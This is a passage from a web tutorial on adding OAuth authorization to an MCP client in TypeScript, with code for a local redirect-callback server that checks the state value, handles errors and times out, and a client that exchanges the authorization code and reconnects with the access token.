style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">finish</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token number" style="color:#C43300">200</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Authorization complete. You can close this tab.'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">resolve</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token comment" style="color:#5A6072;font-style:italic">// Give up if the user never finishes signing in.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> timeout </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">setTimeout</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">reject</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'Timed out waiting for authorization'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token constant" style="color:#C43300">TIMEOUT_MS</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">finish</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">res</span><span class="token operator">:</span><span class="token plain"> ServerResponse</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> status</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">number</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> message</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      res</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">writeHead</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">status</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> </span><span class="token string-property property" style="color:#1F4FFF">'Content-Type'</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'text/plain'</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">end</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">message</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">clearTimeout</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">timeout</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token comment" style="color:#5A6072;font-style:italic">// For example, another program is already using the port.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">on</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'error'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> error </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">clearTimeout</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">timeout</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">reject</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">listen</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token function" style="color:#0B1633;font-weight:600">Number</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">redirect</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">port</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> redirect</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">hostname</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p><code>waitForCallback()</code> takes the redirect URL and the <code>state</code> our provider created, and returns the callback's query parameters once they pass these checks:</p>
<ul>
<li class="">The path must match. Requests to any other path, like the browser asking for <code>/favicon.ico</code>, get a <code>404</code> and are otherwise ignored.</li>
<li class="">The authorization server may report an error. If the user denies access, the callback carries <code>error</code> instead of <code>code</code>. We show a failure page and reject with the server's description.</li>
<li class="">The <code>state</code> must match. A different value means this callback doesn't answer our request, so we reject it. This check must happen before the code goes anywhere near <code>finishAuth()</code>.</li>
<li class="">A code must be present. Without one, there's nothing to exchange.</li>
</ul>
<p>Only after all of that does the browser see "Authorization complete".</p>
<p>The server never outlives the flow. It closes after the first callback, whether that callback succeeded or failed. It gives up after five minutes if the user never finishes signing in. If port <code>3030</code> is already taken, the listen error rejects the promise instead of leaving the client hanging.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="update-clientts">Update client.ts<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#update-clientts" class="hash-link" aria-label="Direct link to Update client.ts" title="Direct link to Update client.ts" translate="no">​</a></h3>
<p>With the callback handled, the client's job is short:</p>
<ol>
<li class="">Try to connect. With no token stored, the server answers <code>401</code>. The SDK runs discovery, builds the authorization URL, and passes it to our provider, which opens it in your browser. <code>connect()</code> then throws an authentication error.</li>
<li class="">Wait for the callback.</li>
<li class="">Pass the callback parameters to <code>transport.finishAuth()</code>. The SDK sends the authorization code and the PKCE verifier to WSO2 Identity Platform, and saves the tokens through our provider.</li>
<li class="">Reconnect with a new client and transport. This time the SDK attaches the access token, and <code>listTools()</code> runs as before.</li>
</ol>
<p>Open <code>client.ts</code> and replace its contents with:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  Client</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  UnauthorizedError</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/client'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> waitForCallback </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./callback-server.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> LocalOAuthProvider </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./oauth-provider.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> serverUrl </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MCP_SERVER_URL</span><span class="token operator">!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> provider </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">LocalOAuthProvider</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MCP_CLIENT_ID</span><span class="token operator">!</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">OAUTH_ISSUER</span><span class="token operator">!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createClient</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Client</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'example-client'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      version</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'1.0.0'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      versionNegotiation</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        mode</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'auto'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    serverUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> authProvider</span><span class="token operator">:</span><span class="token plain"> provider </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">isAuthenticationRequired</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">unknown</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    error </span><span class="token keyword" style="color:#1F4FFF">instanceof</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">UnauthorizedError</span><span class="token plain"> </span><span class="token operator">||</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      error </span><span class="token keyword" style="color:#1F4FFF">instanceof</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token string" style="color:#15803D">'code'</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">in</span><span class="token plain"> error </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      error</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">code </span><span class="token operator">===</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'CLIENT_HTTP_AUTHENTICATION'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> client </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createClient</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> transport </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token comment" style="color:#5A6072;font-style:italic">// 1. Try to connect. Without a token, the server answers 401.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">try</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">transport</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">catch</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token function" style="color:#0B1633;font-weight:600">isAuthenticationRequired</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> error</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token comment" style="color:#5A6072;font-style:italic">// 2. The provider has opened the authorization URL. Wait for the user.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'\nWaiting for you to sign in...'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> params </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">waitForCallback</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    provider</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">redirectUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    provider</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">lastState</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token comment" style="color:#5A6072;font-style:italic">// 3. Exchange the authorization code for tokens.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> transport</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">finishAuth</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token comment" style="color:#5A6072;font-style:italic">// 4. Reconnect. The new transport sends the access token.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> authorizedClient </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createClient</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> authorizedClient</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token function" style="color:#0B1633;font-weight:600">createTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> authorizedClient</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" 